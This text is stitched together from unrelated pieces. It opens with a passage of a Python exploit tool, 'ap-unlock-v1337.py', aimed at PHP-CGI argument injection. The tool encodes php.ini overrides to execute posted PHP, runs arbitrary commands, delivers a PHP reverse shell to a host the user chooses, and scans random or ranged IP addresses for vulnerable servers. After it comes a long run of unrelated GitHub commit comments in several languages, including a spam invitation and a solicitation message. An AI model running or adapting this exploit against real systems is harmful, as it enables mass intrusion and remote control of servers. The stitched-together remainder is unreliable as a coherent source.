        '%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \
        '%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\
        '%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\
        'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n'

def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):
    c0nn_b4ck = \
    '''
    <? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";
    $port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;
    $error_a = null; $shell = "unset HISTFILE; uname -a; id; /bin/sh -i";
    $daemon = 0;
    $debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();
    if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {
    exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {
    printit("$errstr ($errno)");exit(1);}$descriptorspec = array(
    0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));
    $process = proc_open($shell, $descriptorspec, $pipes);
    if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
    printit("Successfully opened reverse shell to $ip:$port");while (1) {
    if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}
    if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}
	$read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");
	$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);
	if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}
	if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);
    function printit ($string) {if (!$daemon) {print "$string\n";}}?>
    '''
    return c0nn_b4ck

def enc0dez():
    n33dz1 = ('cgi-bin', 'php')
    n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d',
            'suhosin.simulation=on', '-d', 'disable_functions=""', '-d',
            'open_basedir=none', '-d', 'auto_prepend_file=php://input',
            '-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0',
            '-d', 'auto_prepend_file=php://input', '-n')
    fl4g = 0
    arg5 = ''
    p4th = ''
    plus = ''

    for x in n33dz2:
        if fl4g == 1:
            plus = '+'
        arg5 = arg5 + plus + \
                ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
        fl4g = 1
    for x in n33dz1:
        p4th = p4th + '/' + \
                ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
    return (p4th, arg5)

def m4k3_p4yl0rd(p4yl0rd, m0de):
    p4th, arg5 = enc0dez()
    if m0de == VULN:
        p4yl0rd = t3st
    elif m0de == SCMD or m0de == XPLT:
        p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \
                'Host: ' + sys.argv[1] + '\r\n' \
                'Content-Type: application/x-www-form-urlencoded\r\n' \
                'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd
    return p4yl0rd

def s3nd_sh1t_ss1(args, m0de, c0nn_b4ck):
    pat = ('Parse error:', 'Warning:')
    s = d0_c0nn3ct(args)
    try:
        ss = socket.ssl(s)
    except:
        print "-> n0 w3bs3rv3r 0n %s" % (args.h)
        return
    if m0de == VULN:
        p4yl0rd = m4k3_p4yl0rd('', m0de)
        ss.write(p4yl0rd)
        try:
            d4t4 = ss.read(8192)
        except:
            return
        for p in pat:
            if p in d4t4:
                print "-> " + args.h + " vu1n"
                return args.h
            else:
                if args.v:
                    print "-> %s n0t vu1n" % (args.h)
                    return
    elif m0de == SCMD:
        p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
        ss.write(p4yl0rd)
        rd, wd, ex = select.select([s], [], [], float(args.T))
        if rd:
            for l1n3 in ss.read():
                sys.stdout.write(l1n3)
    elif m0de == XPLT:
        p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
        ss.write(p4yl0rd)
    else:
        if args.v:
            print "-> n0 w3bs3rv3r 0n %s" % (args.h)
    return

def s3nd_sh1t(args, m0de, c0nn_b4ck):
    pat = ('Parse error:', 'Warning:')
    s = d0_c0nn3ct(args)
    if s:
        if m0de == VULN:
            p4yl0rd = m4k3_p4yl0rd('', m0de)
            s.sendall(p4yl0rd)
            try:
                d4t4 = s.recv(8192)
            except:
                return
            for p in pat:
                try:
                    if p in d4t4:
                        print "-> " + args.h + " vu1n"
                        if args.f:
                            wr1te_fil3(args)
                        return args.h
                    else:
                        if args.v:
                            print "-> %s n0t vu1n" % (args.h)
                            return
                except:
                    return
        elif m0de == SCMD:
            p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
            s.sendall(p4yl0rd)
            rd, wd, ex = select.select([s], [], [], float(args.T))
            if rd:
                try:
                    for l1n3 in s.makefile():
                        print l1n3,
                except:
                    return
        elif m0de == XPLT:
            p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
            s.sendall(p4yl0rd)
    else:
        if args.v:
            print "-> c0uld n0t c0nn3ct t0 %s" % (args.h)
    return

def d0_c0nn3ct(args):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(float(args.t))
        res = s.connect_ex((args.h, int(args.p)))
        if res == 0:
            return s
    except socket.error:
        return
    return

def m4k3_r4nd_1p4ddr(num):
    h0sts = []
    for x in range(int(num)):
        h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255),
                random.randrange(0,255), random.randrange(0,255),
                random.randrange(0,255)))
    return h0sts

def d0_sc4n(args, h0st, m0de, vu1nz, rsa, rsb):
    args.h = h0st.rstrip()
    if args.S:
        s3nd_sh1t_ss1(args, m0de, None)
    else:
        s3nd_sh1t(args, m0de, None)
    return

def sc4n_r4ng3(args, m0de, rsa, rsb):
    vu1nz = []
    for i in range (rsa[0], rsb[0]):
        for j in range (rsa[1], rsb[1]):
            for k in range (rsa[2], rsb[2]):
                for l in range(rsa[3], rsb[3]):
                    args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l)
                    if args.S:
                        s3nd_sh1t_ss1(args, m0de, None)
                    else:
                        s3nd_sh1t(args, m0de, None)
    return

def m4k3_ipv4_r4ng3(iprange):
    a = tuple(part for part in iprange.split('.'))
    rsa = (range(4))
    rsb = (range(4))
    for i in range(0,4):
        ga = a[i].find('-')
        if ga != -1:
            rsa[i] = int(a[i][:ga])
            rsb[i] = int(a[i][1+ga:]) + 1
        else:
            rsa[i] = int(a[i])
            rsb[i] = int(a[i]) + 1
    return (rsa, rsb)

def parse_args():
    p = argparse.ArgumentParser(
    usage='\n\n  ./ap-unlock-v1337.py -h <4rg> -s | -c <4rg> | -x <4rg> ' \
            '[0pt1ons]\n  ./ap-unlock-v1337.py -r <4rg> | -R <4rg> | -i <4rg>'\
            ' [0pt1ons]',
    formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False)
    opts = p.add_argument_group('0pt1ons', '')
    opts.add_argument('-h', metavar='wh1t3h4tz.0rg',
            help='| t3st s1ngle h0st f0r vu1n')
    opts.add_argument('-p', default=80, metavar='80',
            help='| t4rg3t p0rt (d3fau1t: 80)')
    opts.add_argument('-S', action='store_true',
            help='| c0nn3ct thr0ugh ss1')
    opts.add_argument('-c', metavar='\'uname -a;id\'',
            help='| s3nd c0mm4nds t0 h0st')
    opts.add_argument('-x', metavar='192.168.0.2:1337',
            help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll')
    opts.add_argument('-s', action='store_true',
            help='| t3st s1ngl3 h0st f0r vu1n')
    opts.add_argument('-r', metavar='133.1.3-7.7-37',
            help='| sc4nz iP addr3ss r4ng3 f0r vu1n')
    opts.add_argument('-R', metavar='1337',
            help='| sc4nz num r4nd0m h0st5 f0r vu1n')
    opts.add_argument('-t', default=2, metavar='2',
            help='| c0nn3ct t1me0ut in s3x (d3fau1t: 3)')
    opts.add_argument('-T', default=2, metavar='2',
            help='| r3ad t1me0ut in s3x (d3fau1t: 3)')
    opts.add_argument('-f', metavar='vu1n.lst',
            help='| wr1t3 vu1n h0sts t0 f1l3')
    opts.add_argument('-i', metavar='sc4nz.lst',
            help='| sc4nz h0sts fr0m f1le f0r vu1n')
    opts.add_argument('-v', action='store_true',
            help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng')
    args = p.parse_args()
    if not args.h and not args.r and not args.R and not args.i:
        p.print_help()
        sys.exit(0)
    return args

def wr1te_fil3(args):
    try:
        f = open(args.f, "a+")
        f.write(args.h + "\n")
        f.close()
    except:
        sys.stderr.write('[-] 3rr0r: de1n3 mudd1 k0cht guT')
        sys.stderr.write('\n')
        raise SystemExit()
    return

def run_threads(args, h0sts, m0de, vu1nz, rsa, rsb):
    num_h0sts = len(h0sts)
    num = 0
    try:
        if args.r:
            sc4n_r4ng3(args, m0de, rsa, rsb)
        else:
            for h0st in h0sts:
                num += 1
                if args.v:
                    sys.stdout.flush()
                    sys.stdout.write("[" + str(num) + "/" + str(num_h0sts) +
                            "] ")
                else:
                    sys.stdout.flush()
                    sys.stdout.write("\r[+] h0sts sc4nn3d: " + str(num) +
                            "/" + str(num_h0sts) + "  \b")
                t = threading.Thread(target=d0_sc4n, args=(args, h0st, m0de,
                    vu1nz, None, None))
                t.start()
                t.join()
    except KeyboardInterrupt:
        sys.stdout.flush()
        sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
        raise SystemExit
    return

def c0ntr0ller():
    vu1nz = []
    m0de = NONE
    try:
        args = parse_args()
        if args.h:
            if args.s:
                print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h)
                m0de = VULN
                if args.S:
                    s3nd_sh1t_ss1(args, m0de, None)
                else:
                    s3nd_sh1t(args, m0de, None)
            elif args.c:
                print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h)
                m0de = SCMD
                if args.S:
                    s3nd_sh1t_ss1(args, m0de, None)
                else:
                    s3nd_sh1t(args, m0de, None)
            elif args.x:
                print "[+] xpl0it1ng b0x %s " % (args.h)
                m0de = XPLT
                if args.x.find(':') != -1:
                    if not args.x.split(':')[1]:
                        print "[-] 3rr0r: p0rt m1ss1ng"
                    else:
                        cb_h0st = args.x.split(':')[0]
                        cb_p0rt = args.x.split(':')[1]
                else:
                    print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r"
                c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt)
                if args.S:
                    s3nd_sh1t_ss1(args, m0de, c0nn_b4ck)
                else:
                    s3nd_sh1t(args, m0de, c0nn_b4ck)
            else:
                print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch"
                sys.exit(-1)
        if args.r:
            print "[+] sc4nn1ng r4ng3 %s " % (args.r)
            m0de = VULN
            rsa, rsb = m4k3_ipv4_r4ng3(args.r)
            run_threads(args, None, m0de, None, rsa, rsb)
        if args.R:
            print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R))
            m0de = VULN
            h0sts = m4k3_r4nd_1p4ddr(int(args.R))
            run_threads(args, h0sts, m0de, vu1nz, None, None)
        if args.i:
            print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i)
            m0de = VULN
            h0sts = tuple(open(args.i, 'r'))
            run_threads(args, h0sts, m0de, vu1nz, None, None)
    except KeyboardInterrupt:
        sys.stdout.flush()
        sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
        raise SystemExit
    return

def m41n():
    if  __name__ == "__main__":
        print "--==[ ap-unlock-v1337.py by noptrix@nullsecurity.net ]==--"
        c0ntr0ller()
    else:
        print "[-] 3rr0r: y0u fuck3d up dud3"
        sys.exit(1)
    print "[+] h0p3 1t h3lp3d"

# \o/ fr33 requiem 1337 h4x0rs ...
m41n()

# e0F


**Nice job!**


You have accidently overwritten the fix of @cedricziel  ;-)
$paths = $this->getViewConfigurationForExtensionName($variant);
-> $paths = $this->getViewConfigurationForExtensionName($extensionkey);

or was this purpose?


Works fine :-)


Oh, sorry. We've started using GitHub's releases pages for tracking versions and changes: https://github.com/purescript/purescript/releases. Can allmychanges work with that still?

I was going to move these old release notes to a Wiki page for posterity. Until we reach `v1.0` I doubt the historical versions are really going to be of much use to people, as we're still making fairly large changes and fixes, and the libraries are often made backwards incompatible also.


A single class variable is shared amongst all implementors of the containing class/module  (class variables are those variables named with a `@@` prefix).

In this case across all requests that the app receives, there will be one `@@per_page_max` variable. If one request modifies `@@per_page_max`, this change will be visible in all other requests by all other users.

This will likely lead to inconsistent behaviour when concurrent requests are in progress that need to use `@@per_page_max`. Its value can change unexpectedly.

Due to this, it is usually a good idea to avoid class variables. Thankfully class variables are very rarely needed, so this ends up being achievable.

In this case, the `@@per_page_max` variable isn't needed outside the `will_paginate(results)` method, so it can just be a local variable to that method. This would involve removing line 2 and renaming the variable to `per_page_max`.


Haha dangit. No, that sure wasn't on purpose. Git merge fail.


What about:
* using ``-d/--device`` for everything as you suggested
* entering simulation mode when ``-d/--device`` is not specified. Simulation options such as ``--dump`` would be optional and have a default value.

Regarding point 3: I meant that ``hwgrep://`` will also attach to e.g. ``/dev/ttyS0``, even though the PDQ2 is a USB-only serial device and USB devices are never named ``ttySx``.


Test Comment


We should make this a command line parameter.


:D


Yeah, that was quick added by me following how it was made... Good you changed. Btw, the delete function here is ok, but there's a part in class.modify.php . This will need cleanup


test comment


That would be great - I just don't see an option to set ACL settings, which
is quite desirable?
On Mar 21, 2015 1:23 AM, "nuwang" <notifications@github.com> wrote:

> Could the http://docs.ansible.com/s3_module.html be used here instead?
> Only dependency is boto, which I'm guessing is already installed?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/galaxyproject/galaxy-cloudman-playbook/commit/342b42bc34e11f6fed1e5e4a275b0b6272203665#commitcomment-10327609>
> .
>


btw you can close now the two issues #144, #145 :-)


I think do not use Japanese in word name. ( { 'マイ単語帳': 'My word card'} etc.)


And this commit included related change.


How did you find the correct context?


这是我的的第一个java作业


```java
if (e.keyCode != ' ')
    return;
```


Care do do a pull-request so that it can be included as-is? :+1:

I'll merge it and then check how to get it working on older android, using chcon and so on.


all tests pass:
success: http://build.servo.org/builders/linux1/builds/1085
success: http://build.servo.org/builders/linux2/builds/1085
success: http://build.servo.org/builders/android/builds/1119
success: http://build.servo.org/builders/mac1/builds/1301
success: http://build.servo.org/builders/mac2/builds/1301
success: http://build.servo.org/builders/gonk/builds/272


One last thing...what is the purpose of the `$templatePathAndFilename` ?
It's declared but never used.


A testcase for this?


fast-forwarding master to auto = 29a36adb


Line Comment


maby new devices will join .we are supporting every cm 12 devices


Commit Comment


alright, anyway i think there it can be done in auras handler instead of unit class.


Looks like it's a plain old stupid unused variable. We do read files, but that happens a few lines below and scans for multiple **versions**. We don't actually need to see a template file for the variant at this point.


I think we now have an issue with "zooming in" and "out of" to the mouse position :)


yep, I'm not done yet.  had to get the kiddos to bed :smiley_cat:
On Mar 21, 2015 4:00 AM, "Josh Kalderimis" <notifications@github.com> wrote:

> are you also going to add some specs to check when repo created_at is less
> than the cut off?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/travis-ci/travis-core/commit/896e3f7b18d5ffd970c3f64833284a97bfda3f91#commitcomment-10327965>
> .
>


あああああああほんとですね！！！！ごめんなさい！！！！


Sorry, I missed that. It could probably be done with the parameter metadata="x-amz-acl: public-read" but that doesn't look like much of an improvement.


I think it also makes sense to split off just the llvm-related parts to llvm.build.mk, at some point.


See: svnserver.server.DepthTest#immediates


What name should be a good explicit name to distinguish different task?


oops...


Just fix the AAFaceDetection (vs AAFaaceDetection) name and and we are good to go :rocket:


why would you use a loop in a unit test ? isn't the point of the unit test to be very explicit so that's easy understood ?


Cities: Skylines is very particular about which types it can load from savegames and which it can't.

Since I've updated the assembly version a few times (the only real change between the different project, they're not even using the original sources for the respective versions), it'll require the assembly version of either 2.0.0.0, 3.0.0.0, 4.0.0.0 or (now) 5.0.0.0 for the datatypes. This mod (on the workshop) ships with about 4 dlls, namely compat.v2.dll, compat.v3.dll, compat.v4.dll and reddit.dll.

The only data type I have is RedditClient.Message and that's only hardly changed (not to notable effect), but unless I have different assemblies with different versions, old savegames are broken.

If everyone starts a new savegame, you don't need the old versions.

See also #2.


Kripton's slave is merged back in as https://github.com/OpenLightingProject/buildbot/commit/43151bbf00e33c4c653d7f7ccb3b95a1f26f154a


Other components are not prefixed with 'phi-'. Suggest either using .calendar, or .date-calendar, or updating every component of phi ( and where it's implemented :).


Behold the "that's wasn't my fault" commit. xD


Have you tried it? IMO it should work regardless.


This can only be in a checklist, really.  The upstream build process generates this file somewhere in CMakeLists.txt, just like with clang.


Wow, actually informative and good answer. Thankyou!


```json
{
  "version": "0.6.21",
  "approved": true,
  "approver": "JayGray",
  "approvalDate": 1426940939055
}
```
approved with [gh-review](http://gh-review.herokuapp.com/)


Yeah, totally...
How could you miss this!


why this change?


```json
{
  "version": "0.6.21",
  "approved": true,
  "approver": "JayGray",
  "approvalDate": 1426941345784
}
```
approved with [gh-review](http://gh-review.herokuapp.com/)


this is really ugly :( what a pity pyflakes cant handle this... what about:

```
globals()['get_ipython']()
```


@ysitu I started from your last commit. I had some issues which I resolved. But when I tried `python setup.py buid_ext --inplace` it gave me some error. Can you look at it please? https://github.com/OrkoHunter/networkx/issues/3

As this page is too large by size, I opened a issue in my forked repo.


Because I want the test to be exhaustive to ensure that it covers all possible cases, and if there is any reason that makes it fail, then we can tell which case exactly caused the test to break. I know I might be exaggerating the test here, but I don't see any harm in it, and I also don't see how the for loop will make it hard to understand. Can you explain more on why you think the code is not easy to understand?


Consider the scope you're in when choosing names. If you look at methods from the perspective of the developer working outside the current scope, and it looks like this.

Calendar.buildCalendar.
Calendar.buildCalendarHead.
Calendar.buildCalendarBody.

Where it could also be:
Calendar.build
Calendar.buildHead
Calendar.buildBody

It's a bit like using Article.getArticleTitle instead of Article.getTitle.


After adding this line, onLike() is not working. Can you please check?


you pushed to upstream remie ;_;7


Ok, I deleted the command and pushed back up to my fork on github.  I
don't know whether there's a github button I need to press now, or
whether I just need to notify you?

On 20/03/2015, Maxime Petazzoni <notifications@github.com> wrote:
> Wow, nice find! You can remove the comment though, leave just the fix. The
> commit message is enough to carry that information.
>
> ---
> Reply to this email directly or view it on GitHub:
> https://github.com/halfmanhalffish/ttorrent/commit/93d438a960db973eadf4f463dcf0023d1e0c6a2d#commitcomment-10323602


Great job. Looking forward to seeing the rest. ;)


use your own keys


That wasn't part of the (long) list of known issues and things to take care of, and env-vars to set if you want to do strange stuff with the refresh, and the way of handeling the mess done with TwinView and the rotation of the screen, the udev rules to add on the system config and some random X org stuff...

So yeah, I missed it because I haven't read 200 topic on the oculus forum :/


The run time for "find median of two sorted arrays" is not optimal. Yours is O(m+n) , O(log(m+n)) can be achieved.


@mwarning : I'll look at that.

I think a command "ip -(4 or 6) neigh show ip_adress -4 | cut -d -f5 '' should simplify things et and simplify the function.


Shame on you!


Изменение размеров рабочей области


Please follow the consistent coding style.


The meaing of "increase" is different from "add".


nice idea!


Not any performance penalty, as far as I can see, but there some consequences (especially since this config.h is shared across all llvm/clang/lldb/lld):
* Using LLVM_ENABLE_THREADS, in combination with HAVE_PTHREAD_XXX, a number of mutex and thread related functions in lib/Support/Mutex.cpp and Threading.cpp get enabled, whereas these are just stubs otherwise. These are not called all over the place, apparently, so this should not make too much difference.  Effectively, this enables additional functionality.
* Using LLVM_HAS_ATOMICS enables a number of atomic primitives in lib/Support/Atomic.cpp, based on __sync_synchronize(), __sync_val_compare_and_swap() and so on. I remember that this lead to problems in the past, since we have some architectures that do not properly implement all atomic builtins, specifically the 64 bit ones.


You should mention the reason why you would modify.


You don't have to mention the file you modified since GIT always tracks the changes.


What happen if we encounter the integer overflow?


Yeah, this was just the Makefile as I originally had it in my tree. It's now archived for posterity.

Since we now have the relative pathnames support, there is no reason to do the nasty stuff with symlinking anymore, or to add a dozen entries to .PATH.


You don't have to mention the file you modified since GIT always tracks.


well it's not like this loop is not understandable, i'm usually building up a test very explicit without using loops and any kind of logic. The code in the left is how i would do it and that's why i`m asking, since it was changed to do exactly the same thing. Probably not the best example for me to ask this question, but here i saw it so i said to my self i just ask, maybe i`m not aware of some benefits of writing it this way apart from less code?


Don't mix two independent changes into single GIT commit.


Of course... there are many ways to solve an issue. To do this in auras handler is "currently" not the best way (auras and spell handling is a bug chaos...)


Why not `isdigit`?


```$response->code``` is documented as an integer (in [drupal_http_request()](https://api.drupal.org/drupal_http_request)) so we should omit the quote-marks:

```php
if ($response->code != 200) {
```


You're right. I've refactored to close duplicate descriptors one by one, only when failed to create pipe.
If pipe was successfully created, calling code will close it (and descriptor with it) if anything else went wrong.
Added review commit.


Dit is kansloos !


The hash should be exported


yup, works perfectly


Could be that you used double quotes instead of single ones and mysql tolerates it. According to standard, only single quotes are allowed, double quotes means a quoted identifier, which depending on context, is a table, column etc. name. Postgresql is quite anal strict in that you follow the standard. Good thing that these kinds of things get tested and found, we might be very near supporting also any database having adodb or odbc driver available. I personally know only 5 places where some changes must be made to achieve that. Maybe do some real testing on summer.


this test is now pointless, right?


@melvinzhang thanks! That is much cleaner. @ShawnieBoy I have updated the scripts builder - now just ``Winseeker Centaur`` is skipped.


Well, I changed it following a suggestion from @stephentoub (though I don't know why the comments disappeared), and I agree with it to be honest, as the purpose of the loop is to do something repeatedly without having to repeat the code.


This is not ISO C, please move declaration to the beginning of the block.


Could you shed a light on why a temporary variable is needed, please?


@cooperlab Is `convolutional_mlp81.py` a typo? Shouldn't it be `convolutional_mlp.py`?


apologies :/ thought my vim was configured to do this automatically, but it ain't


I don't understand your comment, sorry.


:hankey: :radio_button:


It does work for the most part. The issue is that if the user turns on hashtag filtering for example, it will go through all current messages, delete and replace them wtih messages without hashtags.

But then if I toggle chirper off and then on (using the SetActive method from IChirper), it will use the MessageManager to repopulate the panel, and this will not include the messages that I replaced without hashtags.

Date: Sat, 21 Mar 2015 05:27:59 -0700
From: notifications@github.com
To: SuperChirperMod@noreply.github.com
CC: lucasj94@hotmail.co.uk
Subject: Re: [SuperChirperMod] Added FilterButton. Using Clear for mute. Added sound functionality. (2ae28fb)

Have you tried it? IMO it should work regardless.

—
Reply to this email directly or view it on GitHub.


Using sequential order in suffix might help.


Looks good. :)


Josue Arambide se ha unido a Tutellus, la plataforma de formación online más grande del mundo, y te invita a unirte.

En Tutellus encontrarás más de 40.000 videocursos de Marketing, Programación, Matemáticas, Emprendedores y mucho más, gratis e incluso con Certificación Universitaria Oficial.

Pulsa aquí para saber más sobre la invitación (https://www.tutellus.com/registrate/referer/21000b96c9ef42b1b0dcc8bdbc65ea4c?utm_source=tutellus&utm_medium=mailService&utm_campaign=sendInvitacion)


Why? They will still be equal.


To me, the loop is actually the more explicit and the more understandable choice here.  We're talking about the difference between:
```C#
Assert.False(array.All(i => i > 1));
Assert.False(array.All(i => i > 2));
Assert.False(array.All(i => i > 3));
Assert.False(array.All(i => i > 4));
Assert.False(array.All(i => i > 5));
Assert.False(array.All(i => i > 6));
Assert.False(array.All(i => i > 7));
Assert.False(array.All(i => i > 8));
Assert.False(array.All(i => i > 9));
Assert.False(array.All(i => i > 10));
```
and:
```
for (int j = 1; j <= 10; j++)
{
    Assert.False(array.All(i => i > j));
}
```
In the former, not only is there a lot more code, I have to carefully read all of the lines to know what the intent was here, to verify each value [1,10].  In the latter, that intent is made very explicit, there's less code to read and understand, and there's less chance of a bug being introduced in the test. (This all of course assumes we actually want to be testing all of these values... I don't think it's necessary, but it also shouldn't hurt anything.)

The one tweak I'd make in a case like this is to add a message, so that if the assert does trigger,it's easy to tell from the resulting output which iteration failed.  This wouldn't be necessary in a case where Assert.Equal was used, because the output would then include an expected value, but here it's more important because the output will just say that False was expected but True resulted.


r


@thelucyclub Don't spam our emails with random things


Правильнее было бы написать static NSString *const ProductTableName = ...


Мне кажется, document и documentation - две разные папки, не так ли?


Thanks @stephentoub. Do you want me to make the tweak before the PR can be merged? I prefer to do it later, as I really want to avoid having a large code which is not in sync with the main repository.


测试


why rmdir ?


Это свойство должно быть потоко-безопасным т.к. непонятно кто и из какого потока в будущем будет добавлять задачи на эту очередь.


hello world!


Это как так?!


hello


Excited about this, working?


done


Артем, все та же ошибка, что и раньше. Еще ни одна таблица не создана, а ты уже вызываешь completion.


How exactly will it break the build scripts?


Одной асинхронной операции показалось недостаточно? Решили сделать 3?!


Hi,

Oops sorry for not responding. Thanks for your efforts. I'd like to keep the documentation in one place without duplicates though.


Why you speak? you do not even know why it is done as killMoney lol.

 return to your useless


Oh, thank you, @garyb!
AllMyChanges can't work with GitHub's release, but this feature is on the our roadmap. I'll definitely will test it on Purescript's releases.


This fixes two new bugs introdused in lobby with wx3.0 under Windows:
- ReplaysTab was not able to see any replay file due to problems of wxWidgets with Unicode path's
- Right before spring start there was an error message "Can not change current directory". It was very annoying thus not nothing critical


Мы не обращаемся к свойствам через self из инициализаторов. Как говорят наши американские коллеги, - I'm dead serious.


hello!


Рекомендую использовать `git pull --rebase` для обновления локальной копии. Лишние merge коммиты  усложняют чтение истории.


Well, I actually never use double quotes in php, only if it is the only way, per exemple \r\n strings. I used double quotes here as I thought I'd follow what was made previously :) Anyway, there's a discussion on FS about code formatting, as when 1.0 is out, i'll start reformatting, fixing identation and all... Take part in the discussion also ;)


the joke is to criticize without contained on a page.
 and if you have a problem with that, it does not use any contained already used because it contains nothing.

 OMG you are so funny


in stat.h in NDK, this is how stat is defined. They do not use time_t. But
it is possible to use it if we use temp variable to store it.

struct stat {
    unsigned long st_dev;
    unsigned long       __pad0[3];

    unsigned long long  st_ino;

    unsigned int        st_mode;
    unsigned int        st_nlink;

    unsigned long       st_uid;
    unsigned long       st_gid;

    unsigned long st_rdev;
    unsigned long       __pad1[3];

    long long           st_size;

    unsigned long       st_atime;
    unsigned long       st_atime_nsec;

    unsigned long       st_mtime;
    unsigned long       st_mtime_nsec;

    unsigned long       st_ctime;
    unsigned long       st_ctime_nsec;

    unsigned long st_blksize;
    unsigned long __pad2;

    unsigned long long  st_blocks;
};

On Sat, Mar 21, 2015 at 2:02 PM, Sergey Lyubka <notifications@github.com>
wrote:

> Could you shed a light on why a temporary variable is needed, please?
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/mmicko/mongoose/commit/86ad7922b073c26717521319cdc89fe6a3540438#commitcomment-10329072>
> .
>


HI My name is.Monica ,
nice to meet you please

contact me here i have something to Share
monicamohammadi@hotmail.com)

with you or you can give me your
mail to contact you please


Иван, ты же сам вон там в заготовочном файле написал, что -initWithListIdentifier: - инициализатор по умолчания. А сам вызываешь [super init]...


Please fix #137 before merging!


It should be pretty easy to fix the rest. It just needs to be tested with a build folder that has a space in the path. But there could be some obscure errors if some arguments went unnoticed.
There is just one place where it will be harder to fix: googletest repository has unquoted cmake arguments.


Если честно, то я не совсем понимаю логику работы этого метода.


Good find, thanks. // Stupid me


См. мое замечание выше по тексту. Опять не учтен тот факт, что у этого класса есть свой собственный designated инициализатор.


Thanks @stephentoub for the nice explanation, makes sense for sure.


Not sure if switching from `O_SYMLINK` to `O_NOFOLLOW` (and from `O_EVTONLY` to `O_RDONLY`) using this way is actually a good thing. When people will review the remaining code, they may assume that `O_EVTONLY` is that real `O_EVTONLY`, before figuring this preprocessor trick out.


Do we need the flexibility of a table here, or can we just use (d > 0) in a macro. In a few commits you do a bunch of calculations outside the table lookup anyway, so putting it in a macro in one place would improve things. Getting an assert thta d >= 0 would be nice, too. I'd say we should just compute it in the filter functions themselves, except this wil require passing in xdec later on.


If you decide to keep the table, I think this needs an OD_EXTERN in front.


"var" is necessary, otherwise the variable will go into global scope and shall never get garbage collected.


Почему бы не воспользоваться фильтрацией?


I usually console.log when there is such an error


Would you like to provide the auto completion of file/directory listing in romfs?


Hi @erenavsarogullari !

Thank you for providing an update and sorry for delay with my response.

I think we are very close for merge this.

Before that let me nit-pick a bit for the current state.

Since these objects (`Lock` and `MultiMap`) are shared throughout the cluster and not only our SI app can live on the Hazelcast, I'd say that they should have some informative specific names. To allow and users to separate them from others.
WDYT?


Почему бы воспользоваться фильтрацией?


I think that this lines break rule CA1800: https://msdn.microsoft.com/en-us/library/ms182271.aspx.


BTW, which systems do support `O_EVTONLY` now? In 2012, AFAIR, it was Mac OS X only.


For arguments like "inv" that change the semantics of the function, we should #define some constants and use them... otherwise it's impossible to tell what the "0" or "1" argument value means at the call sites.

Though, in this case I'd question whether we need the argument at all, instead of just having two functions. it made sense when the function required 50 lines of fairly complicated code to determine the right filter size to apply. it makes less sense when the function is 10 lines of fairly simple code.


This commit gives a white screen of death on my network page. Only the network/matrix page. Doing a git reset do the previous commit fixed it.


Just a quick thought: what if you could write it like `emoji = Emoji.may.find_by_alias($1)` or _maybe_ (see what I did there?) like `emoji = May.be Emoji.find_by_alias($1)`.

I was just thinking about it, not a big deal.

Cheers. :beers:


It looks ugly. Can you follow the consistent coding style?


Смысл правок в этом файле мне не ясен.


/cc: @as-cii


Артем, зачем тебе указатель на NSInteger?


Где-то я видел уже эту правку...


